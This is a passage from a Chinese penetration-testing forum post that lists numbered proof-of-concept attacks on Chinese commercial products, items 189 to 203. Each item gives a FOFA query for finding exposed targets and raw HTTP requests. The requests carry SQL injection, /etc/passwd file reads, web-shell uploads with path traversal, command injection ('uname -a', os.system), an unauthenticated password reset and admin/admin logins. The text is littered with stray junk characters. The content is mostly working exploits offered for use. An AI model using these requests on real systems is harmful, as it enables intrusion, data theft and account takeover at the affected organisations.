2 Z' t* Y. F+ iAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
+ ^% v! Q, C9 X. V

189. 蓝网科技临床浏览系统 deleteStudy SQL注入
0 s9 K5 N9 h2 V" g2 x" `FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
. M0 O4 @6 }4 s& zHost: your-ip
7 D8 x2 X+ r2 [8 Q. t; @* OUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
8 z  Q# @4 i& F) y! ?8 `) r0 Q3 [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
* M' s  x$ O4 e' M: [) AAccept-Language: zh-CN,zh;q=0.9
Connection: close
# i' B" G& k  D2 S
/ {/ `5 W0 X6 D% ?3 r2 T: m
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
' T: y8 [6 D* q  X: {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
1 [$ v& P$ T5 J( LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
; q3 z8 T2 K& ~7 o* i+ w1 A- cAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

& ]% \: q+ z4 f2 O3 D) fpoi=file:///etc/passwd
( a. [9 x: c4 p2 c
$ V4 g# ]5 W1 h  C! c: x: A
: D, ?# \9 b$ j191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
& K( S6 E2 |! t" u+ @! `6 XHost: your-ip
8 @0 V: t6 ^4 e3 y3 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
% |& q& I; T! U0 K7 jHost: your-ip
2 V- Z; d, _1 y0 ]. b1 s$ ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
% G& b. o7 g' W" BContent-Type: application/x-www-form-urlencoded
. ]: @) {, d' Z( X% y& A; o

<% @ webhandler language="C#" class="AverageHandler" %>
using System;
' f( T/ {8 k' c# r+ jusing System.Web;
public class AverageHandler : IHttpHandler
{
) C8 l, Q  M5 v* K/ f4 e" kpublic bool IsReusable
' X2 a# |- O* @7 x. J5 s{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
7 v  \, d6 B% C1 w8 }{
ctx.Response.Write("test");
}
}
/ Y1 n( }5 ~" i! z5 Q! R) @; a  E

1 |8 J# @$ R( B0 m2 K+ D  b% U193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
- o9 ], S+ J) P: k8 ~FOFA：body="山石云鉴主机安全管理系统"
, d3 C- m; I: Z* x( AGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
6 N& }4 m% K& T/ M/ U6 nCookie: PHPSESSID=2333333333333;
! M8 ]" F/ L6 W' g7 E5 _Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
* d) j* H% [" n, n+ e5 w
5 ~. d* X$ |% J3 F( l
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
4 O1 a* w+ v* E" l) XAccept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


GET /master/img/config HTTP/1.1
Host:
& A3 Y2 _# y* M: [( e( L$ XUser-Agent: Mozilla/5.0


# I: t5 _) X* O. \6 P194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
/ ^! n- R/ P3 {" f4 HFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
* g: `8 q5 g2 c6 S
: O+ d. Z' r+ D' j' m/ ~POST /servlet/uploadAttachmentServlet HTTP/1.1
2 j3 c$ [0 U. Y2 W4 c+ T% ZHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
1 v0 ]6 e! y) A9 k# \6 _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
5 X0 W% H8 Q+ `( ^# H! `8 p2 ?Connection: close
7 w9 E' l, r6 T* eContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
+ a1 A5 S; u$ u9 y% W2 a3 C+ H8 {
' ^, Y4 c( g/ v& {# \Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
1 J% b3 G9 x/ b: R8 m+ k+ eContent-Type: text/plain
<% out.println("hello");%>
6 R1 |. }8 I3 k: M. h+ f9 b# v------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
% V$ p4 j, ?5 Z9 c6 l; i; O9 r. X {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

0 t+ G- W9 P8 z( b
3 Y& }' O2 m2 b+ r195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
' g/ }0 ~7 P  E% A2 IPOST /send_order.cgi?parameter=operation HTTP/1.1
8 F; S. N1 e6 R0 qHost: 127.0.0.1
2 ?+ A4 G% b) N0 mPragma: no-cache
Cache-Control: no-cache
5 q8 @  L8 k- p" O5 p7 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
) w; ?/ d0 M; x  _Accept: */*
1 S; T- m$ k# r8 S. p* J( cAccept-Encoding: gzip, deflate
' G+ B) u8 H6 u) Y" Q3 f" L; G( |Accept-Language: zh-CN,zh;q=0.9
0 Q: g& @( P# h- i/ E+ pConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
& b) {+ Z" E; E0 ~; y% T7 Z
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

( t/ O' s6 d' ^( l
0 n. @2 @( H, H0 A196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
# P- a! {5 A7 \% o% ?8 U. KX-Requested-With: XMLHttpRequest
1 T  e  v4 F: s! i. E% R. |$ y( ^Host:
4 ~! R$ ]: ~5 E" p: z+ ~  Z+ n7 rAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close
% h+ I% i- N/ b1 e) j# o
3 d7 T5 e) w. C7 v$ ^$ B{"xgh":"test","newPass":"test666","email":""}
. }3 B/ Q5 b; c


197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
( }! q3 Q2 C2 a8 y6 U: mFOFA：app="浙大恩特客户资源管理系统"
5 M/ x  }! T! X9 _GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
: j, ^( N! D/ r. pHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
# A( |& }+ W- A1 `Accept-Encoding: gzip, deflate
  }1 J5 a' x/ L' J7 _Connection: close
( q8 Q/ D) P: Q4 g4 J) k& ?
# Z+ f1 x$ X) [

  r; n$ h9 |0 `# g5 |198.  阿里云盘 WebDAV 命令注入
0 K' k! t" T1 E5 U% Y2 U# OCVE-2024-29640
7 B/ Q# ?( ?( E2 GGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
2 Y& o) Y/ ^2 y2 w5 ~% Z+ p9 sCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
% }% X9 W) q- JAccept-Encoding: gzip, deflate
0 Q- t0 Q( |+ I4 }3 {Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

. X, [+ s% C/ _: g
199. cockpit系统assetsmanager_upload接口 文件上传

  N  u* b0 J1 l, b0 M( v: @1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
1 G, c6 r  W# J) d( v9 g
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：
  Y& }% m# J: ^, _7 T$ V# d8 v$ |
POST /auth/check HTTP/1.1
! N' G5 R/ J4 X) E2 u2 CContent-Type: application/json
: _4 h6 N  J, h( f$ j  ]
4 f, M' _" {" @4 @) W9 L) q" V6 B{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
9 u1 ]0 G8 ]" q" J" xFofa：title="Authenticate Please!"
5 G+ I( X& p' I! k# SPOST /assetsmanager/upload HTTP/1.1
3 n+ u) B* B% [5 j  wContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
7 I5 O0 v7 ^" u4 k* r1 z9 wCookie: mysession=95524f01e238bf51bb60d77ede3bea92

5 x0 h/ a0 H+ \7 @$ q+ u5 }-----------------------------36D28FBc36bd6feE7Fb3
0 P" M: |9 u. v" G$ ^- a) xContent-Disposition: form-data; name="files[]"; filename="tttt.php"
1 [" D( A$ k7 [' |, ?  IContent-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
& O: C+ }$ D4 e-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
2 P0 p2 F# D# T, D
$ G* ^4 i) R5 b+ K4 Z( E. P-----------------------------36D28FBc36bd6feE7Fb3--


/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
( R& X- `5 E, ?FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
$ Q+ O+ g: O5 q/ K* @2 hUpgrade-Insecure-Requests: 1
3 F- U' C4 F3 k6 j/ J1 xCache-Control: max-age=0
1 w" x0 W6 K. P3 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
, g3 j% }0 `" VAccept-Language: zh-CN,zh;q=0.9
% M. w% l' }! e, F9 Q9 v' d

3 y" F( y: ~- K  I; I  M201. 方正全媒体新闻采编系统 binary SQL注入
9 H) o% S- X5 WFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
1 S0 o& ?+ e6 B; ?3 T. PPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
& O$ s( Z- _$ D' P( e7 ^& `8 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% R+ F. U3 o/ K) F6 dAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
6 `4 g  u5 M; l& P) p
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

  N0 l2 b2 }, c8 b% s
7 J8 L1 `9 l. K8 c5 s202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
+ B3 u# G" Y% K- }+ S+ M6 W1 {GET /User/AccountEdit.aspx HTTP/1.1
, O  U' `+ u7 \9 wHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
  a6 W  l8 k. TContent-Length: 0


替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
* V% n- ~% k% L& Y  H4 T+ gAccept-Encoding: gzip, deflate, br
% m: V0 x( n' U0 B, xContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
( M4 z* R4 }$ k9 T
% I9 p) D  `% k/ ?( y- @/ i. C__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
9 w, u* T- z5 B7 TContent-Disposition: form-data; name="__EVENTVALIDATION"
) U/ F8 D: w. X3 ?3 R
0 @" _. J/ d7 A7 O/ z* Y( N__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
, ^( V1 M/ j% M4 o$ H: k) y# a: kContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
  ~4 q3 k( z  b. a) ~( a' n. cContent-Type: text/plain

Hello World!
8 ?7 M9 y" b" O. f# P-----------------------------786435874t38587593865736587346567358735687
# a0 s# O! F2 S1 Q( u( y  FContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
3 _* _; h% K. N' \% U: l* |
上传图片
-----------------------------786435874t38587593865736587346567358735687
* X# g6 k+ `' X0 `4 b; m* ~Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


# }5 F" b- k7 @! S9 Z! M-----------------------------786435874t38587593865736587346567358735687
3 e; b0 L% Q5 Q- {Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
& _, L  |! M- y% o

, y7 Q" m- G" w9 Q+ U" g-----------------------------786435874t38587593865736587346567358735687--


/_data/Uploads/1123.txt
# J! O  `# B2 ^
  ^) f9 J$ h& T7 p9 j( l3 O203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
$ u8 c1 b5 G, i- qHost: x.x.x.x
4 N+ X. q$ B8 S4 I, Y" hAccept-Encoding: gzip
* r" }% b' y# S5 \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
& L" d7 i2 g8 s4 v' V5 _: \: F
------WebKitFormBoundaryt7WbDl1tXogoZys4
# L. y, b$ s7 @/ d1 `Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
9 B8 A0 S6 j4 e% T" p# r& bContent-Type:image/jpeg

# _  m+ i& r9 T# w: e. E<% out.print("hello,eHR");%>
3 p4 G' u* [' P, ]: j% {------WebKitFormBoundaryt7WbDl1tXogoZys4--

( H: ^/ G. y* w4 T% Q6 ~


% H9 l. p. f  j1 v

* n0 q6 {6 E" v% Z' N9 ?

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2